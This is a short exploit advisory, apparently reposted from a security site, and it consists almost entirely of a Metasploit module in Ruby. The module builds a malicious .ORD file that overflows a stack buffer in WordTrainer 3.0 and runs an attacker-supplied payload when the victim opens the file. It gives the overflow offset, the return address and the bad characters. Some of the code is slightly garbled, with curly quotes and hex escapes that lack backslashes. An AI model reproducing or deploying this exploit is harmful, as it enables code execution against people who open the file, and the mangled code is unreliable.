Wordtrainer File Buffer Overflow Exploit

Summary

Wordtrainer File suffers from Buffer Overflow Vulnerability (MSF)

Credit:

The information has been provided by James Fitts.


Details

Vulnerable Systems:
 * Wordtrainer 3.0 .ORD

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
‘Name’ => ‘WordTrainer v3.0 (ORD File) Stack Buffer Overflow’,
‘Description’ => %q{
This module exploits a stack-based buffer overflow in WordTrainer v3.0. An attacker must send the file to the victim and the victim must open the file.
},
‘License’ => MSF_LICENSE,
‘Author’ => [
‘C4SS!0 G0M3S’, # Initial Exploit
‘James Fitts’ # Metasploit Module
],
‘Version’ => ‘$Revision: $’,
‘References’ =>
[
[ ‘URL’, ‘http://www.exploit-db.com/exploits/17157’ ],
],
‘DefaultOptions’ =>
{
‘EXITFUNC’ => ‘process’,
‘DisablePayloadHandler’ => ‘true’,
},
‘Payload’ =>
{
‘Space’ => 1500,
‘BadChars’ => ‘x00x09x0ax0bx0cx0dx0ex0fx1ax20’,
},
‘Platform’ => ‘win’,
‘Targets’ =>
[
[ ‘Windows Universal’, { ‘Ret’ => 0x00430363 } ], #call esp in wt.exe
],
‘Privileged’ => false,
‘DisclosureDate’ => ‘Apr 12 2011’,
‘DefaultTarget’ => 0))

register_options(
[
OptString.new(‘FILENAME’, [ true, ‘The file name.’, ‘msf.ord’]),
], self.class)
end

def exploit

ord = ‘x47x4Cx4Fx53x4Fx52x0Dx0Ax31x0Dx0Ax0Dx0Ax20x0Dx0A’ # header
ord << rand_text_alpha_upper(868)
ord << [target.ret].pack(‘V’)
ord << payload.encoded

print_status(‘Creating ‘#{datastore[‘FILENAME’]}’ file …’)

file_create(ord)

end

end

Disclosure Timeline:
Published: 2011-07-05

Categories: Exploits